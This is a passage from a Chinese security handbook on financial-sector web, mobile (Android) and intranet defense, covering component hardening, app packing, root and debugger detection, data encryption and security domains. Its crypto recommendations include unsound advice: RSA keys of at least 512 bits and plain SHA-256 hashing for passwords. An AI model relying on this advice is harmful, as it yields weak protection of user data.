一个SQL注入语法可能经过各种变形，加之利用服务端和WAF特性进行了绕过，但到了数据库这里，一切都是非常清晰的，数据库审计类产品可以轻松发现一些注入行为。数据库审计类产品有两类，一种是基于proxy或插件模式的；一种是基于网络流量的。基于proxy好理解，应用先连接proxy，再由proxy连接后端真实数据库，这样所有的SQL请求都会被proxy记录下来；而有些数据库有一些审计插件，例如Mcafee开源的MySQL_Audit插件，只需将对应的so文件复制到plugin_dir目录然后在配置文件里启用即可。但这两个方案都对应用有一定的侵入性，稳妥起见，建议使用基于网络流量的数据库审计类产品，即将应用到DB的流量镜像给设备，由设备再还原出SQL语句。商业的数据库审计产品有imperva、安恒等。

一个正常的页面输出，也可能会涉及银行卡号、身份证、手机号等客户资料信息，一般应用需要做一些脱敏处理。在一些特殊情况下可能处理得不够好，这时候就需要有一定的监测机制才能发现这种问题。常规的DLP方案在这里需要经过一定的调整，重点不再是分析HTTP的Request，而是分析服务器的Response信息。在Response信息里不仅能发现一些客户资料信息，还能发现一些异常的东西，诸如目录遍历、特定WebShell等的问题。当然有些功能也可以在WAF里实现，WAF也有针对Response的一些检测规则。




11.6　业务安全



还有一个场景需要提到，就是互联网应用中与业务逻辑相关的安全问题，统称“业务安全”。例如，一个简单的登录页面，可能涉及人机识别、验证码、找回密码功能等，而攻击者可能会利用暴力破解、撞库等方式进行尝试请求；再例如，一个简单的查看个人信息页面，涉及Session或Cookie验证，而攻击者可能会通过修改URL中的ID或者修改本地Cookie来看其他人的信息。还有一些是关于接口的安全问题，例如，某分类信息网站的简历泄露事件，就是攻击者组合了3个不同的接口获取相应信息。

这里的对抗方法，更多从风控角度出发，收集access日志、业务日志进行分析，再结合外部情报（黑白名单库）、机器学习等，是一个非常细分的领域，我们将在第15章中详细介绍。




11.7　互联网DMZ区安全管控标准



针对DMZ区的互联网应用安全防护体系，我们将上面提到的各种管控技术方案进行抽象，并考虑实际落地运营情况，形成一个互联网DMZ区安全管控标准，供大家参考，见表11-1。

表11-1　互联网DMZ区安全管控标准










当然，除了表11-1所提到的技术点之外，还涉及上线流程管控、防分布式拒绝服务攻击（DDoS）等。常规的上线流程管控包括主机上线前扫描、应用上线前扫描、日志采集、安全防护软件部署、堡垒机纳管等各个环节，建议与ITIL流程结合在一起。而DDoS对抗也是一个很专业的细分领域，我们后面会在18.1节中介绍。最后，在互联网DMZ区可能还会部署类似VPN、邮件等系统，考虑到这些更多的是为企业内部员工使用，所以我们将在第13章中进行阐述。




11.8　小结



本章从外向内对互联网应用安全防护做了一个基本的阐述，包括端口、Web应用、系统、网络、业务、数据等，有些内容会在后面的章节中更为详细地阐述。需要特别说明的是，金融行业作为一个强监管行业，在做安全工作的时候更多是考虑效果（合规、风险控制与转移、管理与运营落地等），所以在安全解决方案的选择上更偏重成熟稳定的商业产品，再结合企业实际需求使用开源方案做适当的补充和辅助，这一点和互联网公司因成本、规模等原因而更多选择开源或自研是有较大差别的。




第12章　移动应用安全



随着智能手机以及4G网络的普及和金融科技的深入发展，人们的生活已经被逐步改变，使用手机支付、办公、购物、娱乐等成为主流方式。根据中国互联网络信息中心发布的第41次《中国互联网络发展状况统计报告》截至2017年12月，我国手机网民规模达7.53亿，网民中使用手机上网人群的占比由2016年的95.1%提升至97.5%。随着移动终端在日常生活中承担的数字金融业务越来越多，其安全性越来越受到重视。




12.1　概述



早在2012年，央行就发布了金融行业移动支付标准，涵盖了应用基础、安全保障、设备、支付应用、联网通用5大类35项标准，并从产品形态、业务模式、联网通用、安全保障等方面明确了系统化的技术要求，覆盖中国金融移动支付各个环节的基础要素、安全要求和实现方案，确立了以“联网通用、安全可信”为目标的技术体系架构。

2017年，泰尔终端实验室依据相关标准对多款基于Android操作系统的手机银行APP进行了安全测评，其测评内容包括通信安全性、键盘输入安全性、客户端运行时安全性、客户端安全防护、代码安全性和客户端业务逻辑安全性等6个方面的39项内容，分析评测结果不容乐观，如图12-1所示。




图12-1　泰尔终端实验室2017年对几大金融APP测试

在报告的最后，该实验室建议相关银行采取更加安全的APP加固解决方案，同时增加应用分发渠道监控，第一时间监测盗版、篡改应用发布上线；增加应用自身完整性校验功能，检测到应用被篡改后，及时提醒用户卸载非法应用或者自动进行更新修复。

我们把移动安全问题分两个话题来阐述：APP开发安全，APP业务安全。




12.2　APP开发安全



APP应用安全，除了我们所熟知的APP加壳外，还有一些是应用程序本身的安全问题，例如组件安全、端口安全、数据安全等，甚至还有一些跟业务场景相关的。这里我们说一下APP开发中经常遇到的问题与相应对策。




12.2.1　AndroidManifest配置安全



每个Android应用的根目录中都必须包含一个AndroidManifest.xml文件。Manifest文件为Android系统提供有关应用的基本信息，系统必须获得这些信息才能运行任意应用代码。此外，Manifest文件还可执行以下操作：

·为应用的Java软件包命名。软件包名称充当应用的唯一标识符。

·描述应用的各个组件，包括构成应用的Activity、服务、广播接收器和内容提供程序。为实现每个组件的类命名并发布其功能。根据这些声明，Android系统可以了解这组件具体是什么，以及在什么条件下可以启动它们。

·确定将托管应用组件的进程。

·声明应用必须具备哪些权限才能访问API中受保护的部分并与其他应用交互。

·声明其他应用与该应用组件交互所需具备的权限。

·列出Instrumentation类，这些类可在应用运行期间提供分析和其他信息。这些声明只会在应用处在开发和测试阶段时出现在清单文件中，在应用发布之前会被删除。

·声明应用所需的最低Android API级别。

·列出应用必须链接的库。

我们所熟知的导出组件，是Android上最常见也是门槛最低的攻击入口，如Manifest中组件设置不当的话，就存在被任意调用的可能。此外，在Manifest配置文件中，还有一些可被调试的程序、可被导出的应用数据以及与Scheme相关的配置开关，一旦开启就会存在一些风险，笔者将常见的风险与对策整理成表格供读者参考，如表12-1所示。

表12-1　Manifest配置不当类风险与对策










12.2.2　Activity组件安全



Activity组件是Android四大组件中用户唯一能够看见的组件，作为软件所有功能的显示及与用户交互的载体，其安全性不言而喻。除了前面说的组件导出暴露问题外，主要是访问权限控制和被劫持问题。

当Activity组件需要被外部特定程序调用时，建议使用android:permission属性来指定一个权限字符串。





在启动Activity时，加入标志位FLAG_ACTIVITY_NEW_TASK，就能使该Activity置于栈顶立即呈现给用户。恶意软件可以监控目标Activity，侦测到目标Activity启动后，立即弹出一个与该应用界面相同的Activity，实现伪装目标Activity，也就是我们所说的“被劫持”问题。针对Activity劫持目前没有特别好的办法彻底解决，一个思路是在APP一些关键界面（比如登录界面）被覆盖时弹出一些提示信息，进入后台的时候判断是不是用户自己触发，如果不是也弹出提示信息。




12.2.3　Service组件安全



Service组件是Android系统中的后台进程，主要的功能是在后台进行一些耗时的操作。

建议私有Service不定义intent-filter并且设置exported为false，需要被同公司不同APP访问时，可以将protectionLevel设置为signature；如果是合作伙伴APP访问，需要对其APP签名做校验。若存在Service返回数据的情况，则需要关注敏感信息泄露风险。




12.2.4　Provider组件安全



Content Provider组件是Android应用的重要组件之一，管理对数据的访问，主要用于不同的应用程序之间实现数据共享。Content Provider的数据源不止包括SQLite数据库，还可以是文件数据。通过将数据储存层和应用层分离，Content Provider为各种数据源提供了一个通用的接口。

参见表12-2，如果在AndroidManifest文件中将某个ContentProvider的exported属性设置为true，就会产生一些越权访问数据的风险。访问对象的不同结合App实现不当，可能会产生数据任意访问、SQL注入、目录遍历等风险。


1.私有权限定义错误导致数据被任意访问


私有权限定义经常发生的风险是：定义了私有权限，但是根本没有定义私有权限的级别，或者定义的权限级别不够，导致恶意应用只要声明这个权限就能够访问相应的Content Provider提供的数据，造成数据泄露。


2.本地SQL注入漏洞


当Content Provider的数据源是SQLite数据库时，如果实现不当，而Provider又是暴露的，则可能会引发本地SQL注入漏洞。具体来说，Content Provider的query()如果使用拼接字符串组成的SQL语句去查询底层的SQLite数据库时，容易发生SQL注入。


3.目录遍历漏洞


对外暴露的Content Provider实现了OpenFile()接口，因此其他有相应调用该Content Provider权限的应用即可调用Content Provider的OpenFile()接口进行文件数据访问。但是如果没有进行Content Provider访问权限控制和对访问的目标文件的URI进行有效判断，攻击者利用“../”实现目录遍历便可访问任意可读文件。更有甚者，在Openfile()接口的实现中，如果要访问的文件不存在，就会创建此文件，也就是说还有可能往手机设备可写目录中写入任意数据。

针对以上问题，最重要的是要在APP设计开发之前，就要清楚哪些Provider的数据是用户隐私数据或者其他重要数据，考虑是否要提供给外部应用使用，如果不需要提供，则应直接在Manifest文件中设置为不导出。


 注意：


由于API level在17以下的所有应用的“android:exported”属性默认值都为true，因此如果应用的Content Provider不必导出，建议显式设置注册的Content Provider组件的“android:exported”属性为false。

如果必须要有数据提供给外部应用，则需要做好权限控制，明确什么样的外部应用可以使用，尽量不要提供用户隐私敏感信息。一般来讲，大部分开放的Provider，都是提供给本公司其他应用使用，一般打包签名APP的签名证书是一致的，这样便可以将Provider的ProtectionLevel设置为signature。如果是合作方的APP来访问，可以将合作方APP的签名哈希值预埋在提供Provider的APP中，提供Provider的APP要检查请求访问此Provider的APP的签名，匹配通过了才能访问。

为了避免SQL语句，不要使用拼接字符串的形式，可以使用SQLiteDatabase类中的参数化查询query()方法。

为了防止目录遍历，建议去除Content Provider中的OpenFile()接口，过滤限制跨域访问，对访问的目标文件路径进行有效判断，过滤“../”等字符串。




12.2.5　BroadcastReceiver组件安全



BroadcastReceiver中文被译为广播接收者，用于处理接收到的广播，广播接收者的安全分为接收安全与发送安全两个方面。


1.接收安全


动态注册广播如果仅为应用内部使用，应当将exported设置为false，这样外部应用不能随便发送广播到自身程序中。

如果需要接收外部应用，则需要配置权限，和前面Provider的一样，如果是本公司其他APP，将ProtectionLevel设置为signature；如果是其他合作伙伴的APP，则除了设置ProtectionLevel外还建议避免敏感信息的传递。


2.发送安全


Android系统提供了两种广播发送方法，即sendOrderedBroadcast和sendBroadcast。

有序广播通过Context.sendOrderedBroadcast()来发送，所有的广播接收器优先级依次执行，广播接收器的优先级通过receiver的intent-filter中的android:priority属性来设置，数值越大优先级越高。当广播接收器接收到广播后，可以使用setResult()函数来将结果传给下一个广播接收器接收，然后通过getResult()函数取得上个广播接收器接收返回的结果。当广播接收器接收到广播后，也可以用abortBroadcast()函数让系统拦截下该广播，并将该广播丢弃，使该广播不再传送到别的广播接收器接收。

普通广播是完全异步的，通过Context的sendBroadcast()方法来发送，消息传递效率比较高，但所有receivers（接收器）的执行顺序不确定。接收器不能将处理结果传递给下一个接收器，并且无法终止广播Intent的传播，直到没有与之匹配的广播接收器为止。

Android官方在SDK文档中说明了一些不安全的API，包括：sendStickyBroadcast、sendStickyOrderedBroadcast、sendStickyOrderedBroadcastAsUser、sendStickyBroadcastAsUser，建议不要在APP使用。




12.2.6　WebView组件安全



WebView是一个基于Webkit引擎、展现Web页面的组件，APP通过调用该组件就可以访问网页内容，所以有非常多的移动应用都内嵌了WebView组件。而在通付盾发布的《2017年度移动应用安全态势报告》中，与WebView组件相关的漏洞是排名前三的，分别是：未移除有风险的WebView系统隐藏接口，WebView远程代码执行安全，WebView组件忽略SSL证书验证错误漏洞，如图12-2所示。




图12-2　Android移动应用高危漏洞类型分布

WebView在Android应用开发中广泛使用，除了具有一般View的属性和设置外，还可对URL请求、页面加载、渲染、页面交互进行处理，可谓功能强大。对黑客而言，它是一个非常理想的攻击面，点开一个链接或者扫描一个二维码就会执行恶意代码。在使用WebView组件过程中，除了一些系统隐藏接口，还会有一些与本地交互、保存密码、HTTPS通信认证相关的风险需要关注，为了节省篇幅，笔者整理了一个WebView组件常见风险与对策表格，见表12-2。

表12-2　WebView组件相关风险与对策







值得注意的是，Android N中增加了一个开发者选项，就是在所有的应用中将Web-View的渲染进程运行在独立的沙箱中。即使恶意网页通过漏洞在渲染进程中执行了代码，还需要更多的漏洞绕过沙箱的限制。这一特性将在Android O中默认启用。但在这一缓解措施正式部署到大部分设备之前，通过攻击WebView获得远程代码执行进而直接攻击应用仍然是可行的。




12.3　APP业务安全



除了一些在开发过程中的安全问题外，还有一些是跟业务相关，比如反编译、二次打包、钓鱼APP等各种问题，这里涉及一些混淆、加壳、签名验证、运行时环境检测等技术方案。除此之外，还有一些是在业务上想做更多安全控制，比如数据防泄露、防截屏、安全键盘等。




12.3.1　代码安全



相比iOS系统的封闭及严格的APP审核及签名控制，Android系统的开源以及基于Java的特性，导致APP在Android上更容易被反编译。目前常用的一些反编译工具（比如APKTool、dex2jar等）能够毫不费劲地还原Java里的明文信息，Native里的库信息也可以通过objdump或IDA获取。而心怀不轨的人可能会通过反编译后加入恶意的代码逻辑，重新打包一个APK文件去发布安装，也就是我们常说的“二次打包”问题。针对这些问题，常见的解决方案是代码混淆、加壳、反调试、签名验证等。


1.代码混淆


APP的代码混淆包括Java代码的混淆以及一些资源文件的混淆。

Java语言编写的代码本身就容易被反编译，Google很早就意识到这一点，在Android 2.3的SDK中正式加入了ProGuard代码混淆工具，开发人员可以使用它对自己的代码进行保护。ProGuard提供了压缩、混淆、优化代码以及反混淆栈跟踪的功能，网上资料较多，不再赘述。

资源文件的混淆，一些互联网公司也提供了一些方法供参考，比如微信提供的AndResGuard（
https://github.com/shwenzhang/AndResGuard

 ）等。


2.加壳


Android加壳分为dex加壳和对native编译（即so文件加壳），主流的加壳技术基本可以分为四代：

·整体dex加壳。对classes.dex文件进行整体加壳加密，存放在APK的资源中，运行时将加密后的classes.dex文件在内存中解密，并让Dalvik虚拟机动态加载执行。

·防调试防Dump。整体dex在内存中解密，黑客通过内存Dump的方式即可拿到明文，所以出现了防调试、防内存Dump的技术。

·方法体抽离。相比前面整体加壳加密，第三代开始尝试只对classes.dex文件中的方法、函数进行抽取加密，在Java虚拟机执行具体某个方法时才将其动态解密，并以不连续的方式存放到内存中。后面慢慢发展成将Java代码内关键算法、业务逻辑等函数自动转化成native的C++代码进行防护。

·VMP加壳/so加壳。我们知道程序的执行，是依靠CPU对于符合规范的指令集的解析处理。如果将原指令集通过自定义规范进行变形处理，生成新的指令集（称之为虚拟指令集），CPU将无法识别虚拟指令。此时若配合能够解析虚拟指令集的解释器（称之为虚拟机），就可以达到不直接通过CPU而是通过虚拟机来执行虚拟指令。这就是很多公司各种VMP保护方案的基本原理。

对于使用Android NDK编写的Native代码，逆向它原本就有一定的困难，如果再添加外壳保护（比如UPX）则更加困难了。

不同的加壳方案有着不同的效果，表12-3是某厂商网站上的风险描述表。

表12-3　某官网提供的APP加固风险表




目前市面上有很多APP加固平台，像360、百度、腾讯、网易盾、阿里聚安全等为免费的，像爱加密、梆梆、几维、顶象科技等为收费的。从事安全的读者肯定会关注网上各类破解文章，比如图12-3这个针对360加固的秒脱。




图12-3　加固后的对抗

其实笔者想说的是，APP加固的目的是提升对手的攻击成本，如果通过加固能让相当一部分人知难而退，就达到APP加固本身的效果了。

在实际工作中，考虑到APP内部复杂的业务场景和升级机制，有一些加固方案可能会存在一定的兼容性问题，用户体验要求高的场景可能还会追求运行速度，因此需要慎重权衡。一般的思路是在APP上进行各种埋点，结合后端大数据风控来降低安全风险。


3.反调试


调试器检测，一般是利用android.os.Debug.isDebuggerConnected()这个API来判断，还有一些其他的思路，比如调用Android中flag属性ApplicationInfo.FLAG_DEBUGGABLE判断是否属于debug模式，循环检查android_server调试端口和进程信息，循环检查自身status中的TracePid字段值等。

此外，还有检测模拟器，检测设备是否已经ROOT。模拟器检测技术，一般是取一些模拟器特征，例如通过电话管理器攻取设备IMEI、IMSI，判断设备配置信息与Android模拟器设备配置默认值是否相同，检测设备是否有安装蓝牙设备硬件，判断当前设备WIFI MAC地址，检测是否具有QEMU虚拟机通道文件等。

ROOT检测一般的思路是，看ROOT后的手机会有哪些特征，比如，检测su文件是否存在及可以执行，检测是否安装Superuser.apk等。但实际情况是，Android碎片化非常严重，国产手机厂商特别喜欢修改原生ROM，这会导致一些检测方法失效，需要关注。


4.签名验证


签名验证主要是为了防止二次打包，Android签名验证一般有三种方法：

·Java层验证，即在Java代码中实现公钥信息的比对，比对的样本可以放在本地或者服务器侧。但是Java代码容易被反编译，这个校验逻辑可能被篡改。

·NDK层验证，即在Native代码实现公钥信息的比对，比对的样本进行加密存储。我们知道so通过反汇编生成的ARM代码，相对smali被篡改的难度更大，再结合so文件加固，可以进一步增强反编译难度。

·服务端验证，即程序通过特定方法检测获取自身代码校验值，上送云端服务器进行比较，从而验证合法性。这样针对那些非法或伪造、篡改过的客户端，服务端可以直接拒绝服务，进一步保障安全。




12.3.2　数据安全



针对APP，我们通常说的敏感信息包含两方面：一是用户敏感信息，比如用户名、密码、手机号、邮箱、身份证、银行卡、住址等；二是APP本身的一些敏感信息，包括产品核心算法、核心业务逻辑、私钥、本地存储的证书、加密算法等。这些敏感信息都需要在设计APP时考虑严格保护，在存储、使用、传输过程中也要考虑保护方法。


1.数据存储安全


Android有外部存储和内部存储之分，外部存储安全隐患比较大，任何软件只需要在AndroidManifest.xml中声明如下一行权限就可以在外部存储设备上读写。

<uses-permissionandroid:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

笔者建议涉及用户隐私哪怕是已经加密过的也不要保存到外部存储设备上，还有一些APP会动态加载一些外部资源，这些外部资源可能保存在外部存储上，建议在加载时验证文件完整性。在做代码审计的时候，关注getExternalStorageState、getExternal-StorageDirectory等关键函数就能定位到APP使用外部存储的代码逻辑。

内部存储是所有软件存放私有数据的地方，Android SDK中提供了openFileInput()与openFileOutput()方法来读写程序的私有数据目录。openFileOutput()方法的第二个参数指定了文件创建模式，如果使用了MODE_WORLD_READABLE或MODE_WORLD_WRITEABLE，就可能导致敏感信息泄露。

除了File方式外，Android还提供了Shared Preference、SQLite、ContentProvider方式进行数据存储。与openFileOutput()方法一样，Shared Preference的getSharedPreferences方法打开文件时第二个参数如果设置为MODE_WORLD_READABLE或MODE_WORLD_WRITEABLE都存在一样的问题。

相应的对策就是在使用openFileOutput()和getSharedPreferences()打开文件时，将第二个参数设置为MODE_PRIVATE，这样就可以利用Linux的文件权限机制来确保数据不被其他进程访问。


 注意：


单单依靠MODE_PRIVATE模式是不够的，因为可能我们的APP运行在一个已经被Root的手机上，或者手机系统出现了一些漏洞导致进程可以提升权限，所以往往敏感数据会采取加密措施。

敏感数据需要保护，基本上都是加密处理，当然有一些场合如日志打印包括logcat不允许出现敏感信息，这是常识，无需多言。Android SDK提供了一些API供加密使用，这些API和JAVA提供的基本相似，由Java Cryptography Architecture（JCA，Java加密体系结构）、Java Cryptography Extension（JCE，Java加密扩展包）、Java Secure Sockets Extension（JSSE，Java安全套接字扩展包）、Java Authentication and Authentication Service（JAAS，Java鉴别与安全服务）组成。

JCA提供基本的加密框架，如证书、数字签名、消息摘要和密钥对产生器等；JCE扩展了JCA，提供了各种加密算法、摘要算法、密钥管理等功能；JSSE提供了基于SSL（安全套接层）的加密功能，供HTTPS加密传输使用；JAAS提供了在Java平台上进行用户身份鉴别的功能，除此外，Android还提供了android.security和android.security.keystore来管理keychain和keystore。

如果使用SQLite数据库的时候需要加密，可以使用SQLCipher方案。SQLCipher是个独立的SQLite数据库实现，但它并没有自己实现一套加密算法，而是使用了OpenSSL的libcrypto库，兼容性更好。

关于加密算法的选择和使用，业界有如下安全建议：

·base64只是一种编码方式，并不是加密算法。

·生成随机数时，不要使用Random类，使用SecureRandom类的时候，不要调用setSeed方法，即不要设置种子。

·使用HASH算法时，不要使用MD2、MD4、MD5、SHA-1、RIPEMD算法来加密用户密码等敏感信息，因为网上有大量的库可以用来破解，建议使用SHA-256、SHA-3算法。

·使用消息认证算法时，建议使用HMAC-SHA256算法，避免使用CBC-MAC。

·使用对称加密算法时，不建议使用DES，建议使用AES算法，同时需要注意加密模式要显式指定为CBC或CFB模式，不要使用默认的ECB模式。

·非对称算法使用RSA时，建议密钥长度不低于512，同时注意重放攻击。

·使用基于口令的加密算法PBE时，生成密钥时要加盐，盐的取值最好来自SecureRandom，并指定迭代次数。

关于密钥保护，直接明文写在配置里肯定是不行的；硬编码在Java代码中通过dex也容易逆向；将密钥放在so文件里也还是面临IDA破解。为了保护密钥，各种千奇百怪的方法都有了，比如将一部分写到文件中，一部分写在Java代码或C层代码，这只是在一定程度上增加了逆向难度而已。有的利用so将密钥再进行二次加密保护，那这一层的密钥保护又是一个问题。针对这些问题，不得不提一下白盒加密技术。白盒加密属于对称加密，通过将算法和密钥紧密捆绑在一起，由算法和密钥生成一个加密表和一个解密表，然后可以独立用查找加密表来加密，用解密表来解密，不再依赖于原来的加解密算法和密钥。正是由于算法和密钥的合并，所有可以有效隐藏密钥，与此同时也混淆了加密逻辑。


2.数据传输安全


一般客户端使用HTTPS与服务端进行通信，网站启用SSL site wide（use HTTPS only）或HSTS(HTTP Strict Transport Security)，否则存在SSL Strip（HTTPS降级为HTTP）攻击风险。由于前面在12.2.6节中讲过相关的问题及对策，这里就不再过多重复。对于敏感信息，建议除了HTTPS传输加密外，还需要在应用中进行加密保护，多一层保障。




12.3.3　其他话题




1.安全输入键盘


智能手机输入需要依靠虚拟键盘，而虚拟键盘则由具体使用的输入法控制。金融行业APP，密码往往涉及金钱，为了确保输入安全，一些企业会自行开发安全输入键盘，图12-4为某行APP的安全键盘效果图。

这样当用户输入密码的时候，处于自行开发的密码键盘保护之下，确保用户密码安全。当然除了密码，还有其他的输入数据也需要保护，图12-5是某行APP的安全键盘在输入身份证时的效果图。

注意这上面的键盘数字布局，是随机的，每次都会变化。什么时候随机，什么时候不随机，需要在用户体验和安全之间进行权衡。


2.防截屏


为了防止恶意软件通过秘密截屏的方式得到一些APP上显示的信息，就需要对截屏进行处理。Android系统没有提供对截屏事件监听的接口，也没有提供对应的广播，现在主流的思路是，基于截屏中所做的动作针对性地进行检测，比如，利用FileObserver监听某目录资源变化，利用ContentObserver监听全部资源变化，利用Activity.onPause()机制等。当发现有截屏时做一些处理，比如用纯黑色图片对象进行覆盖处理。




图12-4　安全输入键盘例1




图12-5　安全输入键盘例2

除此之外，Android提供了一个对应的API，直接禁用截屏功能，只需要获取到相应的Window对象，给其添加一个FLAG_SECURE的flag即可。注意这个FLAG_SECURE是应用在Window对象上的，如果Activity有一些弹窗或突出的UI元素可能不受它保护，需要再单独设置。


3.钓鱼APP


钓鱼APP问题在早些年比较多，随着恶意APP越来越多，为规范并促进Android APP安全加固领域的健康发展，CNCERT牵头制定了通信行业标准2015-0217T-YD《移动互联网应用程序安全加固能力评估要求与测试方法》，这个标准对提供Android APP加固服务的系统提出了以下要求：

·禁止对恶意APP进行加固。

·要求对APP加固提交者进行身份验证。

·要求具备对加固前APP进行追查的能力。

通过对加固服务提供商进行规范来防止钓鱼APP，是一个不错的思路。




12.4　小结



本章针对移动应用安全问题从开发安全、业务安全的视角进行了讨论，希望读者阅读完能对移动应用安全有一个基本的认识，对技术细节感兴趣的读者可能还需要进一步阅读更专业的书籍进行提升。




第13章　企业内网安全



企业出于不同安全防护等级的考虑，一般都会将内网划会为办公网、生产网、测试网、互联网、外联网等不同的区域，之间通过防火墙进行隔离。

本章会先从基础的安全域开始讨论，然后对终端、网络、服务器和重点应用进行阐述，最后会针对漏洞、蜜罐这两个话题单独展开。




13.1　安全域



网络安全域是指同一系统内有相同的安全保护需求，相互信任，并具有相同的安全访问控制和边界控制策略的子网或网络，相同的网络安全域共享一样的安全策略。广义的安全域是指具有相同业务要求和安全要求的IT系统要素的集合。IT系统要素包括网络区域、主机和系统、物理环境、人和组织、策略和流程，因此不能将安全域仅仅理解为网络安全域。

安全域的划分使整体网络有了清楚的规划，具有以下实际的目标：

·使整体网络结构清晰。

·使具有相同安全防护要求的网络和系统处于同一安全子域中。

·不同安全子域内可方便地部署不同等级的安全防护策略。

·同一安全域内可方便地部署相同等级的安全防护策略。

·各区域防护重点明确，将有效的安全资源投入到最需要保护的资产上。

·建立内部互连区和外部互连区的边界接口，统一规划网络层接口，便于新增系统的接入，有利于网络的有序扩展。

·使数据流简洁规范，有利于区分不同种类数据流，便于实施安全访问控制和QoS服务。

安全域的理论和方法所遵循的根本原则如下：

·业务保障原则。安全域方法的根本目标是能够更好地保障网络上承载的业务。在保证安全的同时，还要保障业务的正常运行和运行效率。

·结构简化原则。安全域方法的直接目的和效果是要将整个网络变得更加简单，简单的网络结构便于设计防护体系。

·等级保护原则。安全域的划分要做到每个安全域的信息资产价值相近，具有相同或相近的安全等级、安全环境、安全策略等。

·立体协防原则。安全域的主要对象是网络，但是围绕安全域的防护需要考虑在各个层次上立体防守，包括物理、网络、系统、应用、数据等层次；同时，在部署安全域防护体系的时候，要综合运用身份鉴别、访问控制、检测审计、链路冗余、内容检测等各种安全方法实现协防。

·生命周期原则。对于安全域的划分和布防不仅要考虑静态环境，还要考虑不断发生的变化；另外，在安全域的建设和调整过程中要考虑工程化管理。

·资源整合原则。在保障安全的前提下安全域的划分要有利于实现IT资源整合，应充分实现IT资源的共享和复用。

安全域的划分是一个既非常基础又非常重要的工作，企业按自己的实际情况划分不同的安全域，同时还需要制定各安全域的安全策略并加以实现。表13-1将办公网和业务网进行了梳理，其他安全域也可以参照并建立类似的安全策略表。

表13-1　办公网和业务网的安全策略表




对不同安全域间的访问，通过部署各类安全解决方案，实现阻断、检测和过滤等功能，为上层安全防护功能的实现提供保障。




13.2　终端安全



内网终端是我们日常工作接触最多的设备，也是企业内网安全防护需要重点关注的战场之一。终端用什么样的操作系统，允许安装什么样的软件，系统和软件补丁怎么打，用户的权限是管理员还是普通用户，必须满足什么条件才允许接入内网，满足什么条件才允许访问互联网，恶意软件查杀，各种外设管控等等，都是终端安全领域不可回避的话题，也有很多基础的工作要做。有些企业采用各种封堵的技术方案来控制，比如，终端电脑不允许上外网、不允许使用U盘、外发邮件需要审批等；还有的企业考虑到人力成本，往往将一些基础工作外包出去，普通用户没有管理员权限，需要安装软件时会有专门的人提供支持。我们不去评判其好坏优劣，毕竟鞋子合不合脚只有自己才知道。

终端安全涉及资产管理、补丁管理、终端准入、防病毒、外设管控、上网行为管理等诸多内容，每一个话题又是一个细分的领域。对企业敏感数据保护有要求的企业，往往在终端上还会部署一些文档加密、DLP类的程序。终端标准化做得不好的企业，可能终端上的环境非常复杂，尤其是安全软件相互“打架”产生的兼容性问题。为了不陷入其中，我们以攻击者的视角，来看终端安全需要关注的技术点。注意这里有一个假设的前提：终端资产的重要性（包括拥有的数据价值）远不如后台服务器，所以攻击者往往都会以终端为跳板进行深入。我们以图13-1所示的终端安全为例进行分析。




图13-1　终端安全威胁

终端在办公网前台区域，存在的风险主要包括以下几个场景：

场景一　终端用户私接U盘，U盘所带的木马病毒在办公网中传播，进一步感染办公网后台重要服务器。

场景二　终端用户通过3G上网卡或随身WiFi设备私接互联网，无意感染病毒被黑客远程控制，黑客以此为跳板进一步侵入企业内部。

场景三　终端用户通过上网防火墙访问互联网，无意感染病毒被黑客远程控制，黑客以此为跳板进一步侵入企业内部。

针对场景一，我们的对策是：操作系统基线配置，不允许应用程序直接从U盘、光盘自动启动，结合防病毒软件进行查杀。针对场景二，我们的对策是：结合终端外设管理封禁无线、蓝牙等功能，防止非法外连，同时在终端上部署外连探测程序，检测网络连通性以发现非法外连的可疑行为。针对场景三，我们的对策略是：上网通过沙盒虚拟桌面上网，结合上网行为、下一代防火墙对恶意域名、地址及恶意文件进行拦截。当然，用户访问的恶意URL可能来自于邮件系统，可以在邮件系统中提前干预，不让这类URL来到终端。

如果那个假设前提不成立，即终端上有比较重要的数据，除了上面提到的对策使之进不来、带不走之外，最好还要对数据进行脱敏、加密处理，对敏感数据的外发进行拦截等，这样，即使终端被控制了，重要数据也能得到保护。关于数据安全这个话题，我们将在第14章进行阐述。

在企业中，有一些特殊终端电脑需要关注，往往其使用者身份较高，安全执行不到位或者执行困难的企业，往往对这类人采取比较宽松的管理方案，比如可以直接上网，不受限制等。而恰恰是这类终端电脑，其上面的资料可能比普通员工的重要很多，所以需要重点关注。为其设置特殊的网段使之与其他终端隔离，在该网段部署蜜罐，对进出该网段的流量进行重点监控，对此类人员的入站邮件内容进行更多层的分析，同时在SOC里将此类资产重点标记，机器上所产生的安全事件风险等级提升一个级别，这些都是应对之策。

现在，针对终端安全有些厂商整合了各种功能，信誉库、云查杀、情报、EDR等等，往往意味着终端要使用这些功能，还得在网络上部署沙箱、内部情报库等，企业在选择的时候需要结合自己的实际情况考虑。




13.3　网络安全



网络安全涉及面非常广，有一些基础的安全加固配置，比如交换机上启用port-security、BPDU-Guard等防护机制，对未使用的接口默认全shutdown，使用AAA认证技术，防火墙上开启默认any any drop策略等；也有一些专门的技术或解决方案，如NGFW、NIDS等。

企业在划分了安全域后，不同域之间需要通过VLAN、ACL、防火墙等技术进行隔离。而安全域控制仅能依照安全策略进行部署实施，但是即使符合安全策略的网络访问，仍可能存在恶意的网络访问行为。同时，安全策略在不断运营调整过程中，也可能存在失效的情况，如何及时发现这种隔离失效也是一个问题。因此，针对上面这两种情况，我们应能具备一定的检测甚至阻断的能力。常规思路是在实施网络隔离（VLAN、NACL、防火墙等）外，还需要对其进行流量分析（基于特征的NIDS、基于黑白名单及模型的异常访问检测系统等），以便发现异常。除了被动检测外，还可以主动扫描，以发现ACL失效的情况。另外，在网络中适当地部署蜜罐，也能发现一些恶意行为，甚至包括同一个安全域内的恶意行为。蜜罐可部署在终端上，也可以部署在后台服务器上，用来发现网络上的扫描、探测等行为，我们将在13.7节中阐述。




13.3.1　网络入侵检测系统



